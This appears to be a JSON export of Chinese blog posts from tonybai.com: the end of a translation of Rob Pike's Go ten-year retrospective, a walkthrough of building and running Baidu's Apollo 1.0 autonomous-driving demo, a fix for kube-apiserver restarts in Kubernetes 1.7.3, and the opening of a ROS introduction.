Kim是我们最初的产品经理，他招来了安全专家Adam Langley来帮助我们将Go推向Google外面的世界。Adam为我们做了许多不为外人所知的事情，包括创建最初golang.org站点的web页面以及build dashboard。不过他最大的贡献当然要属cryptographic库了。起先，对于我们中的一部分人来说，这个库无论是规模还是复杂度，和其他库比起来都不成比例。但是就是这个库在后期成为了很多重要的网络和安全软件的基础，并且成为了Go语言开发历史的关键组成部分。像Cloudflare这样的网络基础设施提供商就重度依赖Adam在Go项目中的工作，Internet也因此变得更好。因此，我们由衷感谢他的工作。\n事实上，许多公司在早期使用Go进行开发，尤其是初创公司。其中一些公司成为了云计算的巨头，其中就有一家这样的公司，它现在叫Docker。这家公司使用Go语言，并催化出计算领域的容器行业，进而导致了像Kubernetes这样的项目出现。今天我们可以说Go是容器语言，这是另一个我们完全没有预料到的结果。\n不过，Go语言在云计算领域起到作用更大。2015年3月，Donnie Berkholz在为RedMonk撰写的一篇文章中宣称：Go是“云计算基础设施新兴语言”。几乎与此同时，Apcera的Derek Collison说：Go已经是云计算语言了。在那个时候，这也许还不是事实。但Berkholz所使用的“新兴”一词却恰如其分的表明了Go在当时的地位。\n今天，Go已经成为云计算语言。想象一下：一个只有10岁的年轻编程语言已经成为这样一个规模庞大且不断发展的行业的主导者，这样的成功以前只是存在于在想象中。如果你觉得“主导”这个词太过强势的话，让我们来看看中国互联网行业。一段时间以来，Go在中国地区大量使用的数据一度让我们误认为Google趋势图出现了某些错误，但是凡是去过中国，参加过中国区Go语言大会的人都可以证实：Google趋势图的数据是真的，Go在中国的使用非常火爆！\n简而言之，Go语言的十年发展为我们带来了许多里程碑。 最令人惊讶的是我们现在的位置：保守估计表明至少有50万Go程序员。 当前面那封为Go命名的邮件发送时，憧憬能有有五十万gopher的想法听起来会感觉很荒唐。 但就在此时此刻这里，我们不仅有了50w gopher，并且数量还在持续增长。\n说到gophers，很高兴看到来自Renee French想法的吉祥物Go Gopher(地鼠)，不仅成为了一个非常受人喜爱的作品，而且也是世界各地Go程序员的象征。许多各个地区顶级的Go大会都被称为GopherCons，因为他们聚集了来自世界各地的gophers。\nGopher大会正在迅速发展。第一次大会的举办只不过是三年前的事情，但今天在全世界各地有很多这样的Go大会。并且还有无数小的本地“聚会(meetups)”。在任何某一天，世界上某个地方都会有不止一个gopher群体在进行有关Go的分享。\n回顾过去十年的Go设计和开发，Go社区的发展是惊人的。会议和聚会的数量、长长的且不断增加的Go项目贡献者名单、大量用Go实现的开放源代码存储库、使用Go的公司数量等等，细思恐(吃惊)极！\n对于我们三个人，Robert, Rob和Ken，当初只是想让我们的编程生活更轻松一些，而如今，我们难以置信地、欣慰地看到我们的工作已经开始起作用了。\n未来十年会带来什么呢？\n- Rob Pike, with Robert Griesemer and Ken Thompson\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/09/24/go-ten-years-and-climbing/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGo语言\u003c/a\u003e之父，Google大神\u003ca href=\"https://en.wikipedia.org/wiki/Rob_Pike\"\u003eRob Pike\u003c/a\u003e代表Go语言的另外两位缔造者\u003ca href=\"https://github.com/griesemer\"\u003eRobert Griesemer\u003c/a\u003e和\u003ca href=\"https://en.wikipedia.org/wiki/Ken_Thompson\"\u003eKen Thompson\u003c/a\u003e在自己的博客上发表了一篇名为\u003ca href=\"https://commandcenter.blogspot.co.uk/2017/09/go-ten-years-and-climbing.html\"\u003e《Go: Ten years and climbing》\u003c/a\u003e的文章，用以纪念Go语言从最初的设计idea起到目前的十年发展。笔者读完后，也是深有感触，因此在这里粗略翻译一下全文，希望能有更多的程序员加入到Gopher行列中来。\u003c/p\u003e","title":"Go语言：成长的十年"},{"content":"要说目前哪个技术领域投资最火热，莫过于人工智能。而人工智能领域中最火的(或者说之一)肯定要算上自动驾驶。自动驾驶的概念不是什么新鲜的玩意了，只是随着近两年这一波人工智能的大热，自动驾驶又被推到了风口浪尖。各大汽车厂商、互联网公司也都跃跃欲试，准备给汽车这一“历经百年的黄金平台”做一次新的“赋能”。\n今年7月5日，国内搜索引擎No.1企业百度在其首届百度AI开发者大会上发布了Apollo自动驾驶开放平台，同时百度也对外宣布baidu正式从互联网公司转型为一家人工智能公司。作为“错过了移动互联网时代”的典型公司代表，百度这次押宝人工智能，我觉得也是战略上迫不得已的选择：在现有现金牛“搜索广告业务”还能带来大量利润的时候，为抓住未来那头现金牛而进行的努力。而Apollo自动驾驶平台恰是百度人工智能战略的重要组成部分。\nApollo，阿波罗是古希腊神话中的光明之神，这个名字在西方文化中“自带光环”。提到Apollo，很多人还会想到半个多世纪前美国著名的“登月计划”。百度将其自动驾驶平台命名为Apollo，我猜测是有“借势之意”，即期望Apollo这个项目能在百度众多人工智能业务中拥有美好光明的前景。\n作为技术人员，我们不能像一般媒体人员那样根据官方提供的“说辞”做宽泛的介绍，我们要与Apoll亲密接触，看看Apollo究竟是什么，究竟能做什么。这里就和大家一起来Say Hello to Apollo。\n一、自动驾驶汽车- “百年黄金平台”的新时代赋能 在正式入门Apollo之前，还要说点“废话”。在接触Apollo之前，我从未认真思考过“汽车”这个平台，这次算是“顿悟”，虽然也算不上深刻。就我看来，汽车 是一个不可多得的“黄金平台”。作为一个平台，汽车已经有了上百年的历史，见证了人类科学技术的发展，是跨学科之集大成者。这百年多时间，任何新的、先进的民用技术都会赋能在汽车工业上。以一个长不足5米，重量不超过2t的一般家用乘用车为例，我们在其上面能看到先进的能源技术、材料技术、化工技术、电子技术、通讯技术以及精密的机械原件和组装技术等，可以说汽车为各个公司的创造力提供了展示的舞台。\n就普通老百姓的衣食住行而言，汽车也是史无前例的高频使用典范，且是最直接、最贴近普通百姓生活的，这些都是飞机、火车等无法媲美的（如果非要选一个，那只有智能终端能与汽车媲美了，尤其是在集成度方面）。即便是到了科幻片中的漫天跑飞行器的时候，汽车也可能依旧是短距离交通的首选。当然届时的汽车很可能与我们此时的汽车大不相同了。随着时代的进步，汽车也在演化，日新月异的新技术、新材料、新能源对汽车的进一步赋能，因此汽车依旧是朝阳产业，这也是国际资本依旧积极群雄逐鹿汽车工业发展的根本原因了。比如：通过新能源方式赋能汽车的特斯拉、通过无人驾驶技术赋能的Google的waymo等。当然，不仅是从技术方面，从商业模式方面也有围绕着汽车这一平台创新的经典案例，典型的比如：uber、滴滴等的高效出行以及近期日渐升温的共享汽车出行。\n可以说，各大公司都在从自身优势出发，考虑如何为汽车这一百年黄金平台赋能。从这一点出发，我们就能大致理解百度Apollo的出现了：它是baidu结合自身的技术优势和数据优势拥抱汽车工业、为汽车做新时代赋能而迈出的重要一步。\n二、Apollo的技术架构 Apollo是一套完整的自动驾驶技术方案，官方架构原图的截图较为模糊，这里自己画了一个简单的四层结构，每层内的模块暂未画出，因为不是本次入门的重点：\n按照上图，apollo自动驾驶分成四层技术栈，从下到上分别为：\n1、Reference Vehicle Platform(参考车辆平台) 自动驾驶最终都要落地到车上，因此apollo抽象了一个”参考车辆平台”层，通过电子化的方式控制车辆的行驶行为。\nNote: 在开发者大会上，百度展示了由美国创业公司AutonomouStuff基于Apollo 1.0开放平台改装而成的循迹自动驾驶车，这辆车是一辆美系的林肯MKZ。也就是说当前发布的Apollo适配林肯MKZ是没有问题的。但这款中型车对于普通开发者来说门槛算是稍高了。如果百度能拿出一款大众系、丰田系或至少也应该是一个本田系这样的车型，那对自动驾驶领域的开发者或者说爱好者来说，才是福利。相比而言，著名黑客George Hotz创立的自动驾驶技术公司comma.ai为其openpilot初始选用的车型则是Honda系的思域和CR-V，滥大街的车型，容易搞到，且低成本搞到，也容易改装。\n2、Reference Hardware Platform（参考硬件平台） 这一层为自动驾驶汽车提供计算、感知、交互的硬件能力，包括计算单元(车载处理器设备)、GPS/IMU(惯性测量设备)、摄像头、激光雷达、声波雷达、HMI(人机接口)等。在发布的Apollo 1.0版本中，开放的硬件能力包括：计算单元、GPS/IMU(惯性测量设备)以及HMI。\n3、Apollo open software Platform (开放软件平台） 这一层是百度Apollo 1.0开放的核心部分，见下图(蓝色的代表在apollo 1.0.0中已经开放的能力)：\n从图中看到，这一层还可以分为三个子层，从下至上分别是：\napollo kernel层 这一层是运行于硬件上面的OS，对于自动驾驶这种实时性要求特别强的领域，这里显然只能是RTOS（实时操作系统）。Apollo 1.0开放的源码中包含一个”Apollo Kernel“的项目，在这个项目下汇集着可以满足实时性需求的OS kernel。当然目前还仅有一个选择：realtime linux kernel。这是apollo基于Linux Kernel 4.4.32+realtime patch定制的一款专用linux内核。\napollo platform层 在Kernel层的上面就是apollo的runtime framework了，提供platform级的支撑。Apollo 1.0同样也创建了一个专用项目：apollo-platform，用于汇集满足apollo平台级支撑需求的platform。当前该项目下也仅提供了一种选择：Apollo ROS，是基于ROS1的Indigo版二次开发后的定制版ROS。Apollo ROS基于自动驾驶需求出发，对ROS1主要做了三方面改进：\n为优化自动驾驶大量使用传感器引发很大的传输带宽需求， Apollo ROS改变基于socket的网络传输模式，大量采用共享内存的node间通信机制，减少传输中的数据拷贝，显著提升传输效率, 尤其是在满足一对多的传输场景下效果明显;\n从鲁棒性出发，使用RTPS(Real-Time Publish Subscribe)服务发现协议实现完全的P2P网络拓扑，避免原ROS的以Master作为拓扑网络的中心的单点故障问题；\n使用protobuf替代原ROSmessage，提供很好的向后兼容，避免接口升级后，不同版本的模块难以兼容的问题。\n其实第二点改进也是ROS2正在做的事情。关于Apollo ROS的详尽变化，可以参考前不久百度工程师的一个分享：《Apollo代码开放框架—ROS 探索与实践》。\napollo modules层 在这一层是apollo的功能modules，当前似乎依旧是基于ROS的package开发的，在github.com/ApolloAuto/apollo/modules/common/apollo_app.cc你大致能看出来一个ROS Package的开发模板。这一层提供诸如：规划(planning)、洞察(perception）、控制（control）、预测(prediction)、决策（decision)、定位等诸多功能。但Apollo 1.0仅仅开放了Control、Localization和HMI三个module，因为这三块足以构成Apollo 1.0提供的封闭场地循迹驾驶体系了。\n4、Cloud Services(云端服务) Apollo 1.0还开放了云端数据平台，以及唤醒万物的DuerOS能力。DuerOS也是Baidu人工智能战略的重要棋子，似乎也是目前Baidu在AI方面最为成熟的、应用最广的产品。当然这一层还包括仿真、高精度地图等服务，不过目前尚未开放。\n三、上手Apollo 买不起林肯MKZ的童鞋也不要担心，Apollo 1.0提供了一个本地仿真工具，给你一个与Apollo亲密接触的途径，让你可以在PC上肆无忌惮地玩耍，毕竟Apollo 1.0仅提供封闭场地的寻迹能力，相对简单。\n我们的重点是Apollo open software Platform这一层，而这一层中，我们不关心apollo kernel，只关心Apollo ROS和三个已经开放的apollo modules。\n1、下载release版本 截至目前为止，Apollo仅发布了一个版本：apollo-v1.0.0，我们可以从github上将其下载到本地：\n# wget -c https://github.com/ApolloAuto/apollo/archive/v1.0.0.tar.gz # tar zxvf v1.0.0.tar.gz # cd apollo-1.0.0 # ls -F apollo_docker.sh* apollo.doxygen apollo.sh* AUTHORS.md BUILD CPPLINT.cfg docker/ docs/ LICENSE modules/ README.md scripts/ third_party/ tools/ WORKSPACE 注意：我的实验环境为ubuntu 16.04.1 amd64。\n2、本地源码构建 对于基于Apollo这个framework的开发者，Apollo官方强烈建议直接采用官方预定义好的专用docker环境(for dev)。对于爱折腾的我而言，必须要在本地做一次源码构建，即使这个体验是糟糕的，甚至最终是失败的^0^。源码构建的命令很简单，一行即可：\n# cd apollo-1.0.0 # bash apollo.sh build 在这个过程中，我遇到了两个错误：\nbazel不存在 Apollo的构建依赖google出品的bazel构建工具，我个人对bazel并没有什么研究，这里先装上再说：\n# echo \u0026quot;deb [arch=amd64] http://storage.googleapis.com/bazel-apt stable jdk1.8\u0026quot; | tee /etc/apt/sources.list.d/bazel.list deb [arch=amd64] http://storage.googleapis.com/bazel-apt stable jdk1.8 # curl https://bazel.build/bazel-release.pub.gpg | apt-key add - % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3157 100 3157 0 0 3202 0 --:--:-- --:--:-- --:--:-- 3201 OK # apt-get update \u0026amp;\u0026amp; apt-get install bazel third_party/ros/setup.bash: No such file or directory apollo的编译要依赖ros，但apollo并没有自带ros。我们需要到apollo platform那个项目中去下载Apollo ROS：\n# wget -c https://github.com/ApolloAuto/apollo-platform/releases/download/1.0.0/ros-indigo-apollo-1.0.0.x86_64.tar.gz # tar zxvf ros-indigo-apollo-1.0.0.x86_64.tar.gz # cd ros # ls -F bin/ BUILD env.sh* etc/ include/ lib/ setup.bash setup.sh _setup_util.py* setup.zsh share/ 将下载的ros目录copy到apollo-1.0.0/third_party下，并chmod +x third_party/ros/setup.bash。\n我们再次执行bash apollo.sh build，这次执行前面的error和warning基本都消失了，apollo.sh脚本开始下载依赖包并编译：\n# bash apollo.sh build ROS_DISTRO was set to 'kinetic' before. Please make sure that the environment does not mix paths from different distributions. [WARNING] ESD CAN library supplied by ESD Electronics does not exit. [WARNING] If you need ESD CAN, please refer to third_party/can_card_library/esd_can/README.md . ____Loading package: modules/common/util/testing ____Loading package: @com_github_grpc_grpc// ____Loading package: @google_styleguide// ____Loading package: @glog// ____Loading package: @eigen// ____Loading package: @gtest// ____Loading package: @civetweb// ____Loading package: @com_github_google_protobuf// ____Loading package: @websocketpp// ____Loading package: @curlpp// Building on x86_64, with targets: //tools/platforms:x86_64 //tools/platforms:aarch64 //modules/prediction:prediction //modules/prediction:prediction_lib ... ... //modules/common:log //modules/canbus/proto:canbus_proto.pb //:x86_64 //:arm64 WARNING: Running Bazel server needs to be killed, because the startup options are different. INFO: Downloading https://github.com/google/boringssl/archive/master-with-bazel.zip via codeload.github.com: 2,750,374 bytes INFO: Cloning https://github.com/madler/zlib: Receiving objects (3309 / 5016) INFO: Downloading https://github.com/google/boringssl/archive/master-with-bazel.zip via codeload.github.com: 2,773,664 bytes INFO: Cloning https://github.com/madler/zlib: Receiving objects (3314 / 5016) INFO: Downloading https://github.com/google/boringssl/archive/master-with-bazel.zip via codeload.github.com: 2,795,584 bytes INFO: Downloading https://github.com/google/boringssl/archive/master-with-bazel.zip via codeload.github.com: 13,504,198 bytes INFO: Downloading https://github.com/google/boringssl/archive/master-with-bazel.zip via codeload.github.com: 13,522,008 bytes INFO: Found 190 targets... [34 / 41] Compiling external/com_github_google_protobuf/src/google/protobuf/compiler/java/java_message_lite.cc [for host] [41 / 48] Compiling external/com_github_google_protobuf/src/google/protobuf/compiler/command_line_interface.cc [for host] [157 / 163] Compiling external/com_github_google_protobuf/src/google/protobuf/compiler/javanano/javanano_enum.cc [for host] [752 / 756] Compiling external/com_github_grpc_grpc/src/core/ext/client_config/resolver_result.c ERROR: /root/test/apolloauto/apollo-1.0.0/modules/canbus/BUILD:32:1: Linking of rule '//modules/canbus:canbus' failed: gcc failed: error executing command /usr/bin/gcc -o bazel-out/local-dbg/bin/modules/canbus/canbus '-Wl,-rpath,$ORIGIN/../../_solib_k8/_U_S_Sthird_Uparty_Sros_Cros_Ucommon___Uthird_Uparty_Sros_Slib' ... (remaining 8 argument(s) skipped): com.google.devtools.build.lib.shell.BadExitStatusException: Process exited with status 1. modules/canbus/main.cc:21: error: undefined reference to 'ros::init(int\u0026amp;, char**, std::__cxx11::basic_string\u0026lt;char, std::char_traits\u0026lt;char\u0026gt;, std::allocator\u0026lt;char\u0026gt; \u0026gt; const\u0026amp;, unsigned int)' third_party/ros/include/ros/publisher.h:107: error: undefined reference to 'ros::console::initializeLogLocation(ros::console::LogLocation*, std::__cxx11::basic_string\u0026lt;char, std::char_traits\u0026lt;char\u0026gt;, std::allocator\u0026lt;char\u0026gt; \u0026gt; const\u0026amp;, ros::console::levels::Level)' ... ... collect2: error: ld returned 1 exit status INFO: Elapsed time: 578.172s, Critical Path: 26.62s ============================ [ERROR] Build failed! [INFO] Took 597.189 seconds ============================ 经过漫长的等待后，还是以失败告终。并且C++的错误输出分析起来真是好痛苦，于是暂时放弃本地源码编译。\n3、pre-specified Docker dev环境 既然apollo已经为我们准备好了pre-specified Docker dev环境，我们不妨用一下，下载和启动该环境可以用下面命令：\n# cd apollo-1.0.0 # bash docker/scripts/dev_start.sh apolloauto/apollo:dev-latest这个image超级庞大，大约有7个G左右，所以你需要耐心等待一会儿了。docker运行起来后，我们在另外一个terminal windows下可以执行下面命令切入到该docker容器内部：\n# bash docker/scripts/dev_into.sh root@myhost: /apollo# 在dev container中，我们可以来编译一下apollo源码：\nroot@myhost:/apollo# bash apollo.sh build ... ... Copyright (c) 2017 Various License Holders. All Rights Reserved Apollo software is built on top of various other open source software packages, a complete list of licenses are located at https://github.com/ApolloAuto/apollo/blob/master/third_party/ACKNOWLEDGEMENT.txt You agree to the terms of all the License Agreements. Type 'y' or 'Y' to agree to the license agreement above, or type any other key to exit y[WARNING] ESD CAN library supplied by ESD Electronics does not exit. [WARNING] If you need ESD CAN, please refer to third_party/can_card_library/esd_can/README.md ____Loading package: modules/monitor/common ____Loading package: modules/common/adapters ____Loading package: modules/dreamview/conf ____Loading package: modules/control/integration_tests ____Loading package: @google_styleguide// ____Loading package: @com_github_google_protobuf// ... ... [502 / 1,099] Compiling external/com_github_grpc_grpc/src/core/ext/transport/chttp2/transport/hpack_encoder.c [914 / 1,524] Compiling external/com_github_grpc_grpc/src/core/ext/census/tracing.c [1,304 / 1,527] Linking modules/canbus/vehicle/libmessage_manager_base.a INFO: Elapsed time: 371.151s, Critical Path: 260.93s ============================ [ OK ] Build passed! [INFO] Took 401.521 seconds ============================ 由于dev环境中相关的依赖已经就绪，因此无需过多干预，在漫长的一段等待后，我们看到编译ok了。\n4、运行apollo demo 在dev enviroment中或apollo:release-latest中，我们都可以运行apollo的一个寻迹小车的demo。以apollo:release-latest image环境为例：\n// 启动基于apollo:release-latest image的apollo container（image size大约为3G，耐心等待下载）： # cd apollo-1.0.0/ # bash docker/scripts/release_start.sh //切入到容器中去 # bash docker/scripts/release_into.sh root@myhost:/apollo# 在容器中启动HMI(human-machine interface)：\nroot@myhost:/apollo# bash scripts/hmi.sh Start roscore... HMI ros node service running at localhost:8887 HMI running at http://localhost:8887 root@myhostr:/apollo# rosnode list /hmi_ros_node_service /rosout 可以看到，hmi.sh脚本启动了roscore(ros master节点和相关服务）以及hmi的service，我们打开浏览器，输入：http://host_ip:8887即可看到如下场景：\n在容器内继续执行如下命令，回放小车的轨迹数据：\n# rosbag play -l ./docs/demo_guide/demo.bag [ INFO] [1502809442.462789096]: Opening ./docs/demo_guide/demo.bag Waiting 0.2 seconds after advertising topics... done. Hit space to toggle paused, or 's' to step. [RUNNING] Bag Time: 1497125289.756657 Duration: 20.614178 / 41.613536 [RUNNING] Bag Time: 1497125289.896669 Duration: 20.754189 / 41.613536 ... ... 我们打开hmi页面上的Debug开关，点击右上角的”Dreamview”按钮，稍后片刻，你就会在新打开的页面上看到小车仿真寻迹行驶的场景了：\n最初实验时，由于没有在阿里云的防火墙打开8888端口，导致dreamview的websocket建立连接失败，dreamview页面始终无法显示出小车。后经与apollo team的ycool在线联调才发现这个问题。这个问题的解决方法也已更新到Apollo的FAQ中了。\n四、小结 Baidu为apollo项目做了一个4年的规划（见下面的roadmap），并计划在2020年实现全路网自动驾驶，这个说法似乎有意避开了自动驾驶的级别，这个2020目标到底是L4呢还是L5呢？不过无论是L4还是L5，这个目标都十分有挑战啊。\n个人觉得：未来的L4、L5级别的自动驾驶一定不光光是依靠车辆自身的设备与算法，还要与道路基础设施相配合去实现。甚至是依赖车与车之间的通信才能做到全天候、全路况的自动驾驶。apollo虽然迈出了第一步，但任重道远，让我们拭目以待吧！\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/08/15/hello-apollo/","summary":"\u003cp\u003e要说目前哪个技术领域投资最火热，莫过于\u003ca href=\"https://en.wikipedia.org/wiki/Artificial_intelligence\"\u003e人工智能\u003c/a\u003e。而人工智能领域中最火的(或者说之一)肯定要算上自动驾驶。自动驾驶的概念不是什么新鲜的玩意了，只是随着近两年这一波人工智能的大热，自动驾驶又被推到了风口浪尖。各大汽车厂商、互联网公司也都跃跃欲试，准备给汽车这一“历经百年的黄金平台”做一次新的“赋能”。\u003c/p\u003e\n\u003cp\u003e今年7月5日，国内搜索引擎No.1企业\u003ca href=\"https://www.baidu.com/\"\u003e百度\u003c/a\u003e在其首届百度AI开发者大会上发布了\u003ca href=\"http://apollo.auto/\"\u003eApollo自动驾驶开放平台\u003c/a\u003e，同时百度也对外宣布baidu正式从互联网公司转型为一家人工智能公司。作为“错过了移动互联网时代”的典型公司代表，百度这次押宝人工智能，我觉得也是战略上迫不得已的选择：在现有现金牛“搜索广告业务”还能带来大量利润的时候，为抓住未来那头现金牛而进行的努力。而\u003ca href=\"https://github.com/apolloauto\"\u003eApollo自动驾驶平台\u003c/a\u003e恰是百度人工智能战略的重要组成部分。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Apollo\"\u003eApollo\u003c/a\u003e，阿波罗是古希腊神话中的光明之神，这个名字在西方文化中“自带光环”。提到Apollo，很多人还会想到半个多世纪前美国著名的“登月计划”。百度将其自动驾驶平台命名为Apollo，我猜测是有“借势之意”，即期望Apollo这个项目能在百度众多人工智能业务中拥有美好光明的前景。\u003c/p\u003e\n\u003cp\u003e作为技术人员，我们不能像一般媒体人员那样根据官方提供的“说辞”做宽泛的介绍，我们要与Apoll亲密接触，看看Apollo究竟是什么，究竟能做什么。这里就和大家一起来Say Hello to Apollo。\u003c/p\u003e","title":"Hello, Apollo"},{"content":"近期将之前的一个用kube-up.sh安装的Kubernetes 1.3.7的环境更换为最新发布的用kubeadm安装的Kubernetes 1.7.3版本。新版本的安装过程和之前的采用kubeadm安装的k8s 1.5.x、1.6.x版本类似，这里不赘述了。但在安装Dashboard后，发现了一些问题，这里记录一下解决的过程。\n一、第一个问题 我们先来做一下回顾。在《解决Kubernetes 1.6.4 Dashboard无法访问的问题》一文中，我们通过把用户admin bind到cluster-admin这个clusterrole角色上使得dashboard得以正常访问。但访问几次后，我发现了一个问题：那就是用safari访问dashboard时，浏览器可以正常弹出鉴权对话框，让我输入用户名和密码；但用chrome访问时，总是无法弹出鉴权对话框，而直接显示如下错误：\nUser \u0026quot;system:anonymous\u0026quot; cannot get at the cluster scope. kube-apiserver身份验证文档中对anonymous requests做了说明：对于没有被其他身份验证方法拒绝的requests，kube-apiserver会为这样的request赋予用户名: system:anonymous和用户group: system:unauthenticated，这个request将继续流向后面的环节：authorization和admission-control，直到被后面的环节拒绝，返回失败应答。这一些都源于k8s 1.6以后的版本中，kube-apiserver的命令行选项：–anonymous-auth的默认值改为了true，即允许anonymous request的存在，因此上面chrome在访问kube-apiserver时，不输入user、password也能继续下面的环节，这就是第一个问题及其原因。\n二、关闭匿名请求的身份验证权 解决上面这个问题，最直接的方法就是关闭匿名请求的身份验证权，即不接受匿名请求。我们通过在/etc/kubernetes/manifests/kube-apiserver.yaml中添加下面一行来实现：\nspec: containers: - command: - kube-apiserver - --anonymous-auth=false /etc/kubernetes/manifests/kube-apiserver.yaml被修改后，kubelet会重启kube-apiserver。重启后，我再用chrome访问dashboard，身份验证对话框就出现在眼前了。\n三、kube-apiserver周期性异常重启 一直以为问题到这里就解决了。但随后又发生了一个更为严重的问题，那就是：kube-apiserver定期重启，并牵连kube-controller-manager和kube-scheduler的status也不正常了。\n通过kubectl describe查看状态异常的kube-apiserver pod，发现如下输出：\nroot@yypdcom2:# kubectl describe pods/kube-apiserver-yypdcom2 -n kube-system|grep health Liveness: http-get https://127.0.0.1:6443/healthz delay=15s timeout=15s period=10s #success=1 #failure=8 可以看到liveness check有8次failure！8次是kube-apiserver的failure门槛值，这个值在/etc/kubernetes/manifests/kube-apiserver.yaml中我们可以看到：\nlivenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 这样，一旦failure次数超限，kubelet会尝试Restart kube-apiserver，这就是问题的原因。那么为什么kube-apiserver的liveness check会fail呢？这缘于我们关闭了匿名请求的身份验证权。还是来看/etc/kubernetes/manifests/kube-apiserver.yaml中的livenessProbe段，对于kube-apiserver来说，kubelet会通过访问: https://127.0.0.1:6443/healthz的方式去check是否ok？并且kubelet使用的是anonymous requests。由于上面我们已经关闭了对anonymous-requests的身份验证权，kubelet就会一直无法访问kube-apiserver的/healthz端点，导致kubelet认为kube-apiserver已经死亡，并尝试重启它。\n四、调整/healthz检测的端点 我们既要保留 –anonymous-auth=false，还要保证kube-apiserver稳定运行不重启，我们就需要调整kube-apiserver的livenessProbe配置，将liveness probe的endpoint从\nhttps://127.0.0.1:6443/healthz 改为：\nhttp://127.0.0.1:8080/healthz 具体对/etc/kubernetes/manifests/kube-apiserver.yaml的修改是：\nspec: containers: - command: - kube-apiserver - --anonymous-auth=false ... ... - --insecure-bind-address=127.0.0.1 - --insecure-port=8080 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 8080 scheme: HTTP initialDelaySeconds: 15 timeoutSeconds: 15 ... ... 我们不再用anonymous-requests，但我们可以利用–insecure-bind-address和–insecure-port。让kubelet的请求到insecure port，而不是secure port。由于insecure port的流量不会受到身份验证、授权等功能的限制，因此可以成功probe到kube-apiserver的liveness，kubelet不会再重启kube-apiserver了。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/08/09/fix-kube-apiserver-restart-exceptionally-in-k8s-1-7-3/","summary":"\u003cp\u003e近期将之前的一个\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003e用kube-up.sh安装的Kubernetes 1.3.7\u003c/a\u003e的环境更换为最新发布的\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e用kubeadm安装\u003c/a\u003e的\u003ca href=\"https://github.com/kubernetes/kubernetes/releases/tag/v1.7.3\"\u003eKubernetes 1.7.3\u003c/a\u003e版本。新版本的安装过程和之前的\u003ca href=\"http://tonybai.com/2017/01/24/explore-kubernetes-cluster-installed-by-kubeadm/\"\u003e采用kubeadm安装\u003c/a\u003e的k8s 1.5.x、\u003ca href=\"http://tonybai.com/2017/07/20/fix-cannot-access-dashboard-in-k8s-1-6-4/\"\u003e1.6.x版本\u003c/a\u003e类似，这里不赘述了。但在安装\u003ca href=\"http://tonybai.com/2017/01/19/install-dashboard-addon-for-k8s/\"\u003eDashboard\u003c/a\u003e后，发现了一些问题，这里记录一下解决的过程。\u003c/p\u003e\n\u003ch2 id=\"一第一个问题\"\u003e一、第一个问题\u003c/h2\u003e\n\u003cp\u003e我们先来做一下回顾。在《\u003ca href=\"http://tonybai.com/2017/07/20/fix-cannot-access-dashboard-in-k8s-1-6-4/\"\u003e解决Kubernetes 1.6.4 Dashboard无法访问的问题\u003c/a\u003e》一文中，我们通过把用户admin bind到cluster-admin这个clusterrole角色上使得dashboard得以正常访问。但访问几次后，我发现了一个问题：那就是用safari访问dashboard时，浏览器可以正常弹出鉴权对话框，让我输入用户名和密码；但用chrome访问时，总是无法弹出鉴权对话框，而直接显示如下错误：\u003c/p\u003e","title":"解决Kubernetes 1.7.3 kube-apiserver频繁异常重启的问题"},{"content":"ROS，全称是Robot Operating System，字面译为“机器人操作系统”。不过ROS并非是一个真正意义上的操作系统，而仅仅是一套用于机器人操作和控制软件开发的开发框架(framework)，包括各种库和工具。\nROS在2007年诞生于斯坦福大学的人工智能实验室Stanford Artificial Intelligence Laboratory，简称SAIL；2008年至2013年，ROS的开发和推广由Willow Garage公司（该公司2014年已关门大吉）主导。2013年8月，ROS的管理权转移给了Open Source Robotics Foundation。截至目前，ROS已经成为全世界使用和支持最为广泛的机器人开发框架之一。\n一、ROS简介 ROS推出的初衷旨在降低机器人类软件开发的门槛，提高复用率，避免机器人软件开发人员的重复劳动，快速搭建机器人原型。因此，它采用了当时流行的面向服务SOA的软件架构，最大程度上降低内部耦合，并且易于被第三方扩展。采用C++作为主要开发语言，提高ROS的可移植性，让ROS可以很方便地移植到其他各种CPU体系和OS上。\nROS最初的是针对单机家用移动智能机器人而设计的，因此ROS1版本在以下几方面尚存不足：\n鲁棒性 ROS1版本运行时仅有一个master node，一旦master node发生crash，整个robot将无法正常工作。\n安全性 ROS1内部完全不设防，Node间通信完全是信赖的。任何Node都可以轻易得到其他node的各种topic数据、参数以及访问相关关键service。\n实时性 在ROS1的设计约束下，ROS内部各个节点间产生的实时数据通过master建立的内部网络在各个node间传递。一旦数据量很大，数据可能因内部网络通信性能问题而导致延迟，致使机器人工作异常。这也是ROS在工业机器人领域并未受到“热烈欢迎”的重要原因之一。\n为了解决上述这些问题，ROS启动了ROS2的设计和实现。ROS2的第一个alpha版本发布于2015年，最新一个版本是今年七月份发布的beta2版本，ROS2的1.0版本计划将于今年年末正式发布。不过对于ROS2，笔者了解也不多，感兴趣的童鞋可以移步其wiki观看详情。\n二、ROS1安装 在深入ROS1之前，我们先来安装一个ROS1。我们首先需要选择一个ROS1的发布版。ROS的发布模式与Ubuntu极其相似：每逢偶数年份发布一个长期支持版（LTS），support 5年；每逢奇数年份发布一个支持2年的版本。\n并且ROS的发布版与Ubuntu发布版有着“神同步”：\n2014: ROS Indigo Igloo 对应 Ubuntu 14.04 LTS 2016: ROS Kinetic Kame 对应 Ubuntu 16.04 LTS ROS主要基于Ubuntu这款OS进行开发和测试，所以官方建议ROS尽量与Ubuntu一并使用，当然其他linux distribution也可以安装ROS，但正确性和稳定性ROS不能给予明确的保证。目前ROS1发布版的最新版本为：ROS Lunar Loggerhead，但官方推荐使用Ubuntu 16.04 + ROS Kinetic 